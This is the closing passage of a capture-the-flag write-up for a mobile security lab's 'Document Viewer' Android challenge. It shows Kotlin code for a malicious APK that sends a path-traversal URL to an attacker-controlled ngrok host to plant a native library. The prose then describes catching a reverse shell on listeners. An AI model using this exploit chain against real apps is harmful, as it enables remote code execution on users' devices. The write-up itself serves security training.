        val encodedFilePath = Uri.encode("../../../../../data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/libdocviewer_pro.so")
        val exploitUri = "https://0xalmighty.ngrok.io/$encodedFilePath"

        launchTargetActivity(targetComponent, exploitUri, "application/pdf")
    }

    private fun launchTargetActivity(targetComponent: TargetComponent, dataUri: String, mimeType: String) {
        val intent = Intent(Intent.ACTION_VIEW).apply {
            setClassName(targetComponent.packageName, targetComponent.activityName)
            setDataAndType(Uri.parse(dataUri), mimeType)
        }
        safelyStartActivity(intent)
    }

    private fun safelyStartActivity(intent: Intent) {
        try {
            startActivity(intent)
        } catch (e: Exception) {
            e.printStackTrace()
        }
    }
}

data class TargetComponent(val packageName: String, val activityName: String)

Just need to install the APK on the device:

Launching the malicious APK create a request made to Ngrok server that we control:

Confirming the .so file is in the targeted directory:

Starting both listener on port 8083 and 8084 to receive the connection and then launching the Document Viewer app, we get a shell!

Proof of Concept Video

Thought you might like to see it in action! 😊

Conclusion

The “Document Viewer” challenge amazing. From the app’s architecture with reverse engineering, to crafting a Python script that leveraged the path traversal vulnerability, and then proceeding to create a .so file to get a reverse shell to finally combine all these steps to build a malicious app that tied together each aspect of our exploit was very rewarding!

A huge shoutout to Mobile Hacking Lab for building such a great challenge. Looking forward to the next one!